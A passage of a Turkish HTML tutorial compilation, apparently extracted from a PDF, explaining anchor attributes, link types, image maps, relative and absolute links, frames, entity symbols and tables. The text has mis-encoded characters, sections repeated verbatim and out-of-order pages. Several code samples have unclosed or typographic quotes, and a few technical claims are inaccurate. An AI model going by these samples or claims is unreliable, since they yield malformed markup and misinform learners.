alanı ve o alanın içindeki bir dosya olabilir. UlaĢılacak
dosya, HTML dosyası olabileceği gibi bir Word , Excel
dosyasıda olabilir, grafik, ses, video ya da sıkıĢtırılmıĢ
ZIP dosyası da olabilir. Tarayıcılar genellikle, bir bağlantı
ile kendisine gelen dosyayı ne yapacağını bilemezse
(örneğin bir zip dosyası), kullanıcıya bu dosyayı yerel
sabit diske kaydetmeyi önerirler.
NAME=‖metin‖: Anchor‘a isim vererek, daha sonra bu
noktaya atıfta bulunma imkanı kazandırır. Bunu, bir
sayfanın kendi içinde, link vermek için kullanabilirsiniz.
Çok uzun bir sayfanın baĢtarafına <a name="top">
Ģeklinde bir ―isimlendirilmiĢ Anchor‖ noktası koyarsanız
ve aĢağıda baĢtarafa dönüĢü kolaylaĢtırmak için Ģöyle bir
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
95
bağlantı yapabilirsiniz: <A HREF="ust‖>Sayfa baĢına git
</A>
REL=‖metin‖: Kurulacak iliĢkinin niteliğini belirtir.
Tarayıcılar, çoğu zaman bu ifadeye bakarak, bağlantı
kurulunca ne yapabileceklerini bilirler. Örneğin ―metin‖
yerine ―stylesheet‖ yazarak, tarayıcıya alacağı dosyanın,
daha sonra metinleri biçimlendirmekte kullanılacağını
söyleyebiliriz.
SHAPE=(RECT/CIRCLE/POLY/DEFAULT): Bu etiketin
karĢısına yazacağınız ifade ile, tarayıcıya bir resim
dosyasının üzerine konmuĢ bağlantı noktasının biçimini
tanımlarsınız.
Rect Ģeklin dörtgen,
circle daire,
poly çok kenarlı
default ise arayıcının varsayılan bağlantı Ģekli
olduğunu ifade eder.
Bu parametreyi COORDS parametresi ile birlikte
kullanmak gerekir. Bu durumda COORDS etiketinin
önüne yazacağınız ―X1, Y1, X2, Y2, Xn, Yn‖ Ģeklindeki
koordinatların da anlamı farklı olur. SHAPE etiketini
―rect‖ olarak bildirirseniz, X1 ve Y1 Ģekin sol üst
köĢesinin, tarayıcı penceresinin sol üst köĢesinden
itibaren kaç pixel sağa ve aĢağı konulacağını; X2 ve Y2
ise Ģeklin sağ alt köĢesinin koordinatlarını gösterir
(Örnek: SHAPE=rect, COORDS=‖0,0,9,9‖). SHAPE‘i
―circle‖ olarak tanımlarsanız, koordinatlar dairenin
merkezini ve çapını gösterir (Örnek: SHAPE=circle
COORDS=‖10,10,5). Çok kenarlı bir Ģekil tanımlamanız
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
96
halinde, her bir koordinat diğerine, son koordinat da
birinciye bağlanır (Örnek SHAPE=poly
COORDS=‖10,50,25,20,20,50‖).
TARGET=‖pencere‖: Bu etiketle linkin sayfa içindeki
hangi frame (yada boĢ bir yeni sayfaya) yükleneceği
belirtilir. FRAMESET etiketi bulunan bir sayfada
kullanılması halinde, alınacak sayfanın hangi frame içine
konulacağını gösterir. Burada ―pencere‖ kelimesinin
yerine Ģu değerler yazılabilir:
―çerçeve adı‖: OluĢturulan çerçevelere önceden isim
verilmiĢ ise, o isimler buraya yazılarak, sayfa frame içine
yüklenir. Çerçeve isimleri mutlaka rakam veya harfle
baĢlamalıdır.
_blank: Linkin hedefi yeni bir tarayıcı
penceresinde açılır. Frameler içinde baĢka bir
siteye link vermek için bu önemlidir.
_parent: Alınacak unsur, o anda açık sayfayı
oluĢturmuĢ bir ana sayfa varsa, onun yerine
konulur.
_self: Alınacak sayfa mevcut sayfanın bulunduğu
tarayıcı perceresine konulur.
_top: Alınacak sayfa mevcut pencereye en üstten
itibaren konulur.
Frame kullanan bir sayfada baĢka bir siteye link
verildiğinde _blank kullanılmadığında sayfada bulunan
mevcut sabit frameler duracağından diğer site sizin
sayfanızın içine gömülecektir. Hele birde link verilen
sitede frame ise iĢte o zaman az yağlı az piĢmiĢ
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
97
bulgur çorbası tarzı birbirine geçmiĢ bir ekran
görüntümüz olacaktır.
HTML’de Bağlantı Türleri
HTTP bağlantıları:
Link, tarayıcının HTTP protokolünü kullanarak
ulaĢabileceği bir alanda ise, bunun gönderme ifadesi, <A
HREF="http://site adresi/sayfa adi.htm">Link metni
</A> Ģeklinde yazılır. BaĢka bir Web alanında belirli
dosyaya değil de, alanın birinci sayfasına (home page,
index page, vs.) bağlantı veriyorsak, bağlantıyı <A
HREF="http://www.hedefsite.com.tr/"> olarak yazmak
gerekir. Web server anasayfa hangi dosya ise onu
gönderecektir.
FTP bağlantıları:
Kimi zaman, HTTP protolünü değil de FTP (File Transfer
Protocol) yöntemini kullanarak, bir dosyayı kendi
bilgisayarına indirmesini sağlamamız gerekebilir. Bunun
için link ifademiz, örneğin Ģöyle olur: <A
HREF="ftp://download.com/pub/">Bedava
programlar</A>
Haber Grupları:
Internet‘in bilgi paylaĢımı amacına yönelik bu
kullanımında, tartıĢma gruplarına yer verilen Usenet
servisi için prtokol belirtilmez. Usenet‘ için örnek olarak:
<A HREF="news:comp.ibm.www.developers.html">
GeliĢtiriciler grubu </A>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
98
Elektronik Posta Bağlantısı:
Bazen kullanıcın bir linke tıkladığından hemen o linkteki
bir adrese e-mail atmak üzere kullanıcının varsayılan email
programının açılması istenebilir. Örnek olarak
<A HREF="mailto:webmaster@bizimweb.com.tr‖>e-mail
gönder </A>
Dosya Bağlantıları:
Sabit bir dosyaya link vermek için kullanılır. En çok
intranet ortamlarında kullanılır. Örnek olarak,
<A
HREF="file://server/yazılımlar/kulanım.html">Kullanım
rehberi </A> gibi
Diğer bağlantılar:
Internet‘in ilk günlerinde daha sık kullanılmıĢ olsalarda
Gopher, ve çok geniĢ bir alana yayılmıĢ ağlarda veri
tabanı araĢtırması yapmaya imkan veren WAIS, çok
yaygın olmamakla birlikte, HREF ifadesi olarak
kullanılabilir.
Linkler hakkında detaylı bilgi için
http://www.w3.org/addressing/schemes.html adresine
bakabilirsiniz.
Neden “\” değilde “/” kullanılıyor?
HREF ile kullanılan düz bölü ―/‖ iĢareti dikkatinizi çekmiĢ
olmalı. ĠĢin aslı Ģu Unix türevi sistemlerde klasör
hiyerarĢisi ―/‖ ile ifade edilirken Windows içinde bu iĢem
―\‖ ile ifade edilemektedir. Aslında ―\‖ iĢareti ile ―‖/‖
arasında hiçbir fark yok ve iĢlevleri de aynı. Yani
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
99
Windows altında link verirken ―\‖ ilede link verirseniz link
çalıĢır ancak unutmayın ki sayfa bir de hosting
bilgisayarına yüklenecektir. Peki web server iĢletim
sistemi Windows değilse ne olacak. Tabiî ki link
kırılılacak. Windows altında ―\‖ yazılsada web server
programı bunu normal karĢılığna çevirerek iĢlem yapar.
Ancak Linux server içinse bu sorundur.
―\dosyalar\sayfa.html‖ yazdığınızda Linux sizin dosyalr
klasörü içinde bulunan sayfam dosyasını kastettiğinizi
bilemez.
Resimleri Link BaĢlığı Vermek Ġçin Kullanmak
Link verirken yazdığımız bir kodu ele alalım.
<A HREF="http://site adresi/sayfa adi.htm">Link metni
</A>
Burada ―Link metni‖ yazısı link olduğunu belirtmek üzere
altı çizili yazılacaktır ve buraya tıklandığı andada hedef
linke gidilecektir. Burada link metni yerine bir resim
dosyası kullanılırsa, resim linkin simgesi olacak ve resme
tıklandığında link açılacaktır. Örneğin
<A HREF="http://site adresi/sayfa adi.htm"><img
src=‖dugme.jpg> </A>
gibi. Tabii istenirse </A> metninden önce metin
yazmakta mümkündür.
<A HREF="http://site adresi/sayfa adi.htm"><img
src=‖dugme.jpg> <br>Link metni</A> gibi
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
100
Resim Haritası (Image Map) ile Link Kullanımı
Resimlerin farklı kısımlarından farklı yerlere link vermek
isterseniz resim haritalarından faydalabilirsiniz. Örneğin
ilk anda aklınıza gelebileceği gibi Türkiye haritası
üzerinde tıklanacak ile göre ilgili ilin sayfasına geçiĢ
yaptırılabilir.
Resim haritası bir resim üzerindeki tanımlanmıĢ etkin
noktaları (hotspots) link olarak belirler. Etkin noktalar
dikdörtgen veya yuvarlak olabileceği gibi düzensiz
Ģekiller de olabilir. Bunlar için uygun koordinatlar
belirtilmelidir.
Dikdörtgen etkin noktanın konumu iki noktayla
tanımlanır: sol üst ve sağ alt köĢeler. Her nokta resmin
sol-üst köĢesinden yatay ve dikey uzaklığını piksel
cinsinden belirten bir sayı çiftiyle tanımlanır. AĢağıdaki
örnekte 0,0 etkin noktanın sol üst köĢesinin 50,50 de
sağ alt köĢesinin resmin sol üst köĢesine olan uzaklığıdır.
<map name="haritaadi" id="haritaadi">
<area shape="rect" coords="0,0,150,150"
href="adana.htm" />
</map>
Yuvarlak etkin noktanın konumunu tanımlamak için üç
adet koordinat kullanılır: ikisi (yatay ve dikey değerler)
dairenin merkezini tanımlamak için, üçüncüsü dairenin
yarı çapı içindir.
<map name="haritaadi" id="haritaadi">
<area shape="circle" coords="100,150,60"
href="adana.htm" />
</map>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
101
Çok köĢeli etkin noktanın konumunu tanımlamak için
Ģeklin tüm köĢelerinin koordinatları kullanılır. Çok köĢeli
etkin noktalar tanımlanan noktaları birleĢtiren düz
çizgilerden oluĢur. AĢağıda beĢ köĢeli bir etkin nokta için
gereken kod verilmiĢtir:
<map name="haritaadi" id="haritaadi">
<area shape="poly"
coords="310,14,559,195,274,356,5,118,126,411"
href="ankara.htm" />
</map>
AĢağıdaki resimde 4 adet geometrik Ģekle de link
verilmiĢtir. <img> etiketine usemap="#haritaismi"
eklendiğinde haritaismi adlı resim haritasına göre resim
içerisinde linkler belirir.
Link Verirken Relative (göreceli) ve Absolute
(mutlak) Adreslemelerin Farkları
www.abc.com sitesinin tasarlandığını,
www.abc.com/yazilar adresinde ise makaleler
yayınlanacağını varsayalım.
“yazi1.html” dosyasına link verirken
“yazilar/yazi1.html” adresi kullanılabilir. Ancak
istenirse “http://www.abc.com/yazilar/yazi1.html”
adreside kullanılabilir. Bunların birincisi göreceli ikincisi
ise mutlak adreslemedir.
Her ikisinin de hem avantajı hem de dezavantajları
vardır:
Relative adreslenerek oluĢturulan sayfaların bir
makineden diğerine taĢınması kolaydır
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
102
Relative linkler bir üst seviyedeki sayfa taĢındığı
zaman kırılırlar. (Örneğimizde ―yazilar‖ kladörü
kalkarsa tüm linkler bu ısımdaki tüm linkler
kırılacaktır)
Relative linkleri local serverlarda çalıĢtırıp denemek
daha kolaydır.
Absolute adreslemede yazılan linkler daha uzundur
ve bakımı daha zordur
Bazı dosyaların mutlaka sunucudan yüklenmesini
istiyorsanız (bir kullanıcının sayfanın bir kopyasını
kendi makinesine indirmesi durumunda) kesin
sonuç verir.
Bu iki adresleme arasındaki farkları bilerek hazırlanan bir
sitede normalde göreceli ve mutlak adresleme beraber
kullanılır, ve göreceli adreslerin sayısı genelde daha çok
olur. Ġyi bir sitede yapılabilecek bir düzenleme,
bütünlüğünün bozulmaması gereken sayfalarda, göreceli
adresleme kullanmak, ve her yüklendiğinde değiĢen
sayfalara da mutlak link vermektir, örneğin saatbaĢı
değiĢen istatistikler gibi.
HTML Ders 7:FRAMELER
Çerçeveler -Frames
HTML ilk çıktığında frame teknolojisi yoktu. Ġlk olarak
lanse edildiğinde bir yandan tarayıcı firmaları frame
desteğiyle övündüler diğer yandan ise site tasarımcıları
bundan nefret ettiler. Hatta bu tepki yüzünden, Netscape
ve Internet Explorer‘ yazılımcıları programlarında frame
seçeneklerini devre dıĢı bırakma kolaylığı bile getirdiler.
Frame düĢmanlığı, mantıksız ancak teknik açıdan çeĢitli
açılardan haklıdır. Aslında site iskeleti için frame
kullanımı tablo kullanımından daha esnek ve güzel
sonuçlar verir ancak framelerin bir çok dezavantajıda
vardır.
Tablodan farklı olarak frame teknolojisi, bize sayfamızın
bir tarafı sabit kalırken, diğer tarafının içeriğini,
kullanıcının tercihine göre değiĢtirme imkanı verir.
Böylece bir tarafta menü dururken diğer tarafta içeriğin
değiĢtirilmesi sağlanabilir. Bu sayade menü kodlaması
için tek bir dosya kullanılmıĢ olur.
Avantajları
Ġçeriği kontrol etmek kolaydır. Bir taraf menü
diğeri içerik sunmak için kullanılabilir.
Frame hedef değiĢmediği sürece görüntüleniyor
olacaktır.
Dezavantajları
Eski tarayıcılar desteklemezler
Ekranda ilave yer tutarlar
Her bir frame için ayrı bir sayfa oluĢturulması
gerekir.
Sayfanın kaydedilmesi ve yazdırılması sorun olur
Frame kullanılan sitelerde link vermek zor olur (En
önemli sorunlar son üçüdür)
Arama motorları (Google, Yahoo vb) Frameleri
sevmezler.
Bir frame de aslında tablo gibi satır sütun mantığı ile
oluĢturulur. Ancak tablonun sütun ve satırları ancak
komĢu hücrelerle birleĢtiribilirken frameler tüm ekran
üzerinde özgürce konumlandırılabilirler.
AĢağıdaki sayfa düzenini frameler ile kurduğumuzu
varsayalım.
Kullanıcı sol taraftaki menüden bir sayfayı seçtiği taktirde
_target=content (içerik frame‘nin adı) denildiğinde, üst ,
alt ve sol frameler yerlerinde sabit dururken orta sağdaki
içerik frame değiĢecektir. Dolayısı ile bu yapı sayesinde
her sayfada menüyü ve ana isketlet tablosunu yeniden
kullanmak zorunda kalmamıĢ oluruz. Üstelik menüde
değiĢiklik gerektiğinde sadece menü alanında bulunan
frame kodunun bulunduğu sayfayı değiĢtirdiğimiz anda
bu kod tüm sayfalara yansımıĢ olacaktır.
ġimdi madem bu kadar üstün neden insanlar kullanmıyor
ve kullanmak istemiyor denilebilir. Gerçektende ilk
yaptığım site (1998) hariç hiçbir sitede frame kullanmıĢ
değilim. Üstelik ilerde göreceğimiz CSS ve PHP yardımı
ile zaten bir menü kodunu her yerden çağırabilme
imkanımız baĢka Ģekillerdede mevcut. Dahası frame
kullanılan bir sayfaya link vermek sanıldığı gibi kolay
değildir. Çünkü adres satırında bir Ģey yazarken sayfa
aslında baĢka bir içeriği gösteriyor olabilir. Üstelik arama
motorlarıda frame sayfalardan pek hoĢlanmazlar. Ve
linkler direkt alındığında ise frameli bir sayfa frame
olmadan açılabilmektedir.
Frame Parametreleri
marginwidth="..." (sayı) :Soldan boĢluk
miktarını belirtir.
marginheight="..." (sayı) :Sağdan boĢluk
miktarını belirtir
scrolling=".." (yes, no, auto) :Kaydırma
çubuklarının gösterilip gösterilmyeceğini belirtir.
noresize :Pencere boyutlarının sabit
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
89
kalır ve Fare ile boyutlandırma yapılamaz
frameborder="..." (yes, no) :Çerçeveler
arasındaki sınır çizgisinin olup olmayacağını
belirler.
border="..." (sayı) :Sınır çizgisinin kalınlığını
(veya çerçeveler arası mesafeyi) belirler
Frame Satırları ve Sütunları
Frame kullanan bir HTML sayfası oluĢturmak, aslında,
çerçeve sayısı kadar HTML sayfası oluĢturmaktır
demiĢtik. Tablo ile frame arasındaki en önemli farkta
budur.
Frame oluĢturma kodu olan <frameset
cols="">...</frameset> Ģeklindedir. Burada frame sayı
belirtilmez, verilen ölçü sayısına göre tarayıcı bunu
kendisi hesaplar. ―cols=‖ ifadesinden sonra sayfamızda
kaç çerçeve olması isteniyorsa o kadar ölçü yazılır.
<frameset cols="20%,60%,20%>
Bu komuttaki ―col‖ ifadesiyle dikey frame oluĢturuyoruz
bu çerçeve setinde solda ve sağda ekranın %20‘si eninde
birer alan bırakıp kalan /60 ı ise içerik için kullanacağız.
Bu framelerin içine ne konulacağını ise, FRAMESET
etiketinin içine yazacağımız kaynak gösteren satırlarla
bildirmemiz gerekir;
ġimdi bunları yazalım. </frame> kodunun önüne Ģunları
yazın:
<frameset cols="20%,60%,20%>
<frame name="col1" src="cer01.htm" marginheight="5"
marginwidth="5" noresize scrolling="no">
<frame name="co2" src="cer02.htm" marginheight="5"
marginwidth="5" noresize scrolling="no">
<frame name="co3" src="cer03.htm" marginheight="5"
marginwidth="5" noresize scrolling="no">
<noframes>
<body>
</body>
</noframes>
</frameset>
</html>
Bu kodun içindeki <noframes>..</noframes> koduna
dikkat ettiyseniz içindeki <body> etiketleride ne
diyebilirsiniz. BaĢtada dediğimiz gibi eski tip tarayıcı
kullananlar yada frame özelliğini kapatmıĢ kullanıcılar
sayfanın sadece <noframe> blokunu göreceklerdir.
Setleri oluĢturacak sayfalara örnek ise
<html>
<head>
<title>Çerçeve 1</title>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
</head>
<body bgcolor="#C0C0C0">
<p align="center">Çerçeve: 1</p>
</body>
</html>
Bu sayfayı, örnekten anlaĢılabileceği gibi ―cer01.htm‖
adıyla kaydedilmeli. Zemin rengi metinler değiĢtirmek
üzere, cer02 ve cer03 adıyla iki kopyası daha gerekli
olacaktır. Ayrıca tüm dosyaların aynı klasörde durması
gerektiğinide unutmamak gerekir. Ana set dosyasındaki
frameset içinde bulunan cols ifadesini rows yaptığımız
anda dikey olan frame kolonları bu sefer yatay olarak
yerleĢecektir.
Yatay Dikey KarıĢık Frame OluĢturmak
Frameler teknik olarak birbirleriyle birleĢtirilemez ancak
aynı görüntüyü elde etmek mümkündür. Sadece
kodlama Ģekli biraz farklı olacaktır. Frame kullanımında
ne kadar frame isteniyorsa belirtilir demiĢtik. Bu
belirtilen frameler için <FRAME SRC> ile kaynak
belirtilmediği anda tarayıcı o alanda bir sütun oluĢturur.
Buraya diğer frameler yeleĢtirilebilir. EĢit olmayan sayıda
sütun ve sıra içeren frame iĢlevi için bu olay kullanılır.
Birinci sütun tek sıralı, ikinci sütun iki sıralı bir çerçeve
sayfası için kodumuz Ģöyle olmalıdır:
<FRAMESET COLS="25%,75%">
<FRAME SRC="cer01.htm" NORESIZE
SCROLLING="auto">
<FRAMESET ROWS="20%,80%">
<FRAME SRC="cer02.htm" NORESIZE
SCROLLING="auto">
<FRAME SRC="cer03.htm" NORESIZE
SCROLLING="auto">
</FRAMESET>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
92
HTML ilk çıktığında frame teknolojisi yoktu. Ġlk olarak
lanse edildiğinde bir yandan tarayıcı firmaları frame
desteğiyle övündüler diğer yandan ise site tasarımcıları
bundan nefret ettiler. Hatta bu tepki yüzünden, Netscape
ve Internet Explorer‘ yazılımcıları programlarında frame
seçeneklerini devre dıĢı bırakma kolaylığı bile getirdiler.
Frame düĢmanlığı, mantıksız ancak teknik açıdan çeĢitli
açılardan haklıdır. Aslında site iskeleti için frame
kullanımı tablo kullanımından daha esnek ve güzel
sonuçlar verir ancak framelerin bir çok dezavantajıda
vardır.
Tablodan farklı olarak frame teknolojisi, bize sayfamızın
bir tarafı sabit kalırken, diğer tarafının içeriğini,
kullanıcının tercihine göre değiĢtirme imkanı verir.
Böylece bir tarafta menü dururken diğer tarafta içeriğin
değiĢtirilmesi sağlanabilir. Bu sayade menü kodlaması
için tek bir dosya kullanılmıĢ olur.
Avantajları
Ġçeriği kontrol etmek kolaydır. Bir taraf menü
diğeri içerik sunmak için kullanılabilir.
Frame hedef değiĢmediği sürece görüntüleniyor
olacaktır.
Dezavantajları
Eski tarayıcılar desteklemezler
Ekranda ilave yer tutarlar
Her bir frame için ayrı bir sayfa oluĢturulması
gerekir.
Sayfanın kaydedilmesi ve yazdırılması sorun olur
Frame kullanılan sitelerde link vermek zor olur (En
önemli sorunlar son üçüdür)
Arama motorları (Google, Yahoo vb) Frameleri
sevmezler.
Bir frame de aslında tablo gibi satır sütun mantığı ile
oluĢturulur. Ancak tablonun sütun ve satırları ancak
komĢu hücrelerle birleĢtiribilirken frameler tüm ekran
üzerinde özgürce konumlandırılabilirler.
AĢağıdaki sayfa düzenini frameler ile kurduğumuzu
varsayalım.
Kullanıcı sol taraftaki menüden bir sayfayı seçtiği taktirde
_target=content (içerik frame‘nin adı) denildiğinde, üst ,
alt ve sol frameler yerlerinde sabit dururken orta sağdaki
içerik frame değiĢecektir. Dolayısı ile bu yapı sayesinde
her sayfada menüyü ve ana isketlet tablosunu yeniden
kullanmak zorunda kalmamıĢ oluruz. Üstelik menüde
değiĢiklik gerektiğinde sadece menü alanında bulunan
frame kodunun bulunduğu sayfayı değiĢtirdiğimiz anda
bu kod tüm sayfalara yansımıĢ olacaktır.
ġimdi madem bu kadar üstün neden insanlar kullanmıyor
ve kullanmak istemiyor denilebilir. Gerçektende ilk
yaptığım site (1998) hariç hiçbir sitede frame kullanmıĢ
değilim. Üstelik ilerde göreceğimiz CSS ve PHP yardımı
ile zaten bir menü kodunu her yerden çağırabilme
imkanımız baĢka Ģekillerdede mevcut. Dahası frame
kullanılan bir sayfaya link vermek sanıldığı gibi kolay
değildir. Çünkü adres satırında bir Ģey yazarken sayfa
aslında baĢka bir içeriği gösteriyor olabilir. Üstelik arama
motorlarıda frame sayfalardan pek hoĢlanmazlar. Ve
linkler direkt alındığında ise frameli bir sayfa frame
olmadan açılabilmektedir.
Frame Parametreleri
marginwidth="..." (sayı) :Soldan boĢluk
miktarını belirtir.
marginheight="..." (sayı) :Sağdan boĢluk
miktarını belirtir
scrolling=".." (yes, no, auto) :Kaydırma
çubuklarının gösterilip gösterilmyeceğini belirtir.
noresize :Pencere boyutlarının sabit
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
89
kalır ve Fare ile boyutlandırma yapılamaz
frameborder="..." (yes, no) :Çerçeveler
arasındaki sınır çizgisinin olup olmayacağını
belirler.
border="..." (sayı) :Sınır çizgisinin kalınlığını
(veya çerçeveler arası mesafeyi) belirler
Frame Satırları ve Sütunları
Frame kullanan bir HTML sayfası oluĢturmak, aslında,
çerçeve sayısı kadar HTML sayfası oluĢturmaktır
demiĢtik. Tablo ile frame arasındaki en önemli farkta
budur.
Frame oluĢturma kodu olan <frameset
cols="">...</frameset> Ģeklindedir. Burada frame sayı
belirtilmez, verilen ölçü sayısına göre tarayıcı bunu
kendisi hesaplar. ―cols=‖ ifadesinden sonra sayfamızda
kaç çerçeve olması isteniyorsa o kadar ölçü yazılır.
<frameset cols="20%,60%,20%>
Bu komuttaki ―col‖ ifadesiyle dikey frame oluĢturuyoruz
bu çerçeve setinde solda ve sağda ekranın %20‘si eninde
birer alan bırakıp kalan /60 ı ise içerik için kullanacağız.
Bu framelerin içine ne konulacağını ise, FRAMESET
etiketinin içine yazacağımız kaynak gösteren satırlarla
bildirmemiz gerekir;
ġimdi bunları yazalım. </frame> kodunun önüne Ģunları
yazın:
<frameset cols="20%,60%,20%>
<frame name="col1" src="cer01.htm" marginheight="5"
marginwidth="5" noresize scrolling="no">
<frame name="co2" src="cer02.htm" marginheight="5"
marginwidth="5" noresize scrolling="no">
<frame name="co3" src="cer03.htm" marginheight="5"
marginwidth="5" noresize scrolling="no">
<noframes>
<body>
</body>
</noframes>
</frameset>
</html>
Bu kodun içindeki <noframes>..</noframes> koduna
dikkat ettiyseniz içindeki <body> etiketleride ne
diyebilirsiniz. BaĢtada dediğimiz gibi eski tip tarayıcı
kullananlar yada frame özelliğini kapatmıĢ kullanıcılar
sayfanın sadece <noframe> blokunu göreceklerdir.
Setleri oluĢturacak sayfalara örnek ise
<html>
<head>
<title>Çerçeve 1</title>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
</head>
<body bgcolor="#C0C0C0">
<p align="center">Çerçeve: 1</p>
</body>
</html>
Bu sayfayı, örnekten anlaĢılabileceği gibi ―cer01.htm‖
adıyla kaydedilmeli. Zemin rengi metinler değiĢtirmek
üzere, cer02 ve cer03 adıyla iki kopyası daha gerekli
olacaktır. Ayrıca tüm dosyaların aynı klasörde durması
gerektiğinide unutmamak gerekir. Ana set dosyasındaki
frameset içinde bulunan cols ifadesini rows yaptığımız
anda dikey olan frame kolonları bu sefer yatay olarak
yerleĢecektir.
Yatay Dikey KarıĢık Frame OluĢturmak
Frameler teknik olarak birbirleriyle birleĢtirilemez ancak
aynı görüntüyü elde etmek mümkündür. Sadece
kodlama Ģekli biraz farklı olacaktır. Frame kullanımında
ne kadar frame isteniyorsa belirtilir demiĢtik. Bu
belirtilen frameler için <FRAME SRC> ile kaynak
belirtilmediği anda tarayıcı o alanda bir sütun oluĢturur.
Buraya diğer frameler yeleĢtirilebilir. EĢit olmayan sayıda
sütun ve sıra içeren frame iĢlevi için bu olay kullanılır.
Birinci sütun tek sıralı, ikinci sütun iki sıralı bir çerçeve
sayfası için kodumuz Ģöyle olmalıdır:
<FRAMESET COLS="25%,75%">
<FRAME SRC="cer01.htm" NORESIZE
SCROLLING="auto">
<FRAMESET ROWS="20%,80%">
<FRAME SRC="cer02.htm" NORESIZE
SCROLLING="auto">
<FRAME SRC="cer03.htm" NORESIZE
SCROLLING="auto">
</FRAMESET>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
92
HTML Ders 6:Sembol İşaretlerinin HTML Dilindeki Karşılıkları
Sembol ĠĢaretlerinin HTML Dilindeki KarĢılıkları
HTML kodlanırken bazen sembollerin kodlanması gerekir.
Örneğin ekrana ―a<c‖ yazdırmak istiyorsunuz. Tarayıcı
bu kısmı yorumlamakta sıkıntıya girecektir. Çünkü ―<‖
iĢareti tarayıcı komutlarınında baĢlangıcıdır. Böyle
durumlarda tarayıcının kafası karıĢmakta ve çoğunlukla
bu bölüm hatalı etiket olarak ele alınıp yoksayılmaktadır.
Böyle durumlarda tarayıcıya sembol karakterleri ile bu
sembolün karĢılığını ekrana yaz dememiz gerekir.
Kod Tanım Sonuç
BoĢluk
< Küçük <
> Büyük >
" Çift tırnak "
& Ve &
HTML kodlanırken bazen sembollerin kodlanması gerekir.
Örneğin ekrana ―a<c‖ yazdırmak istiyorsunuz. Tarayıcı
bu kısmı yorumlamakta sıkıntıya girecektir. Çünkü ―<‖
iĢareti tarayıcı komutlarınında baĢlangıcıdır. Böyle
durumlarda tarayıcının kafası karıĢmakta ve çoğunlukla
bu bölüm hatalı etiket olarak ele alınıp yoksayılmaktadır.
Böyle durumlarda tarayıcıya sembol karakterleri ile bu
sembolün karĢılığını ekrana yaz dememiz gerekir.
Kod Tanım Sonuç
BoĢluk
< Küçük <
> Büyük >
" Çift tırnak "
& Ve &
HTML Ders 5:TABLOLAR
Tablolar
HTML sayfalarında veriyi çizelge halinde sunmak için
tablolar düĢünülmüĢtü. Ancak tasarımcılar birden bire
bunu sayfanın iskeletini kumak içinde kullanmaya
baĢladılar. Böylece tablolar sayfalar için içerikten sonra
temel öge haline geldiler. Ancak günümüzde sürekli
yaygınlaĢan CSS kullanımı, table ve frame (çerçeve)
gerektiren durumları çok daha pratik çözmeye imkan
verdiğinden eski önemleri azalmaktadır. Buna rağmen
Table veri çizelgeleri için sürekli kullanım alanı
bulacaktır. Div etiketleri ile table etiketi kullanmadan
tablo oluĢturabilemektedir ancak bu henüz
yaygınlaĢmamıĢtır.
Bir tabloyu bir Excel sayfasına benzetebilrsiniz. En genel
hali ile ise mutfak dolabına benzetebilrsiniz. Çatal, kaĢık,
baharat, tabak, tava her Ģey kendine ait çekmecelerde
durmaktadır.
BaĢlık, Satır ve Veri Etiketleri
HTML‘de bir tablonun baĢlangıcı ve bitiĢi
<TABLE>..</TABLE> etiketiyle iĢaretlenir. Tablonun
sütun baĢlıkları <TH>..</TH>; gövdesi
<TBODY>..</TBODY> etiketiyle belirtilir. Sütun
baĢlıkları veya gövde etiketinin hemen altında tarayıcıya
bir tablo satırı baĢladığını söylemeniz gerekir. Bunu
<TR>..</TR> etiketiyle yaparız. Bu iki etiketin arasında
Tablonun değerleri, yani içinde bilgiler bulunan hücreleri
oluĢturan etiket, <TD>..</TD> yer alır. Bu iki etiketin
arasında tablonuzun ilgili hücresinde yer alacak bilgi
bulunur.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
76
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
</HEAD>
<TITLE>Tablonun Esaslari</TITLE>
<BODY>
<p><font face="Arial">
<h1><center>HTML'de Tablo</center></h1>
<table align=center border=3 width=70%>
<thead align=center>Bu tablomuzun BaĢlığı
(thead)</thead>
<thead><tr><th>Birinci sütun baĢlığı
(th)</th><th>Ġkinci sütun baĢlığı(th)</th><th>Üçüncü
sütun baĢlığı(th)</th><th>Dördüncü sütun
baĢlığı(th)</th><th>
<tbody>
<tr><td>Satır 1 Sütun 1</td><td>Satır 1 Sütun
2</td><td>Satır 1 Sütun 3</td><td>Satır 1 Sütun
4</td></tr>
<tr><td>Satır 2 Sütun 1</td><td>Satır 2 Sütun
2</td><td>Satır 2 Sütun 3</td><td>Satır 2 Sütun
4</td></tr>
<tr><td>Satır 3 Sütun 1</td><td>Satır 3 Sütun
2</td><td>Satır 3 Sütun 3</td><td>Satır 3 Sütun
4</td></tr>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
77
<tr><td>Satır 4 Sütun 1</td><td>Satır 4 Sütun
2</td><td>Satır 4 Sütun 3</td><td>Satır 4 Sütun
4</td></tr>
</tbody>
</table>
</body>
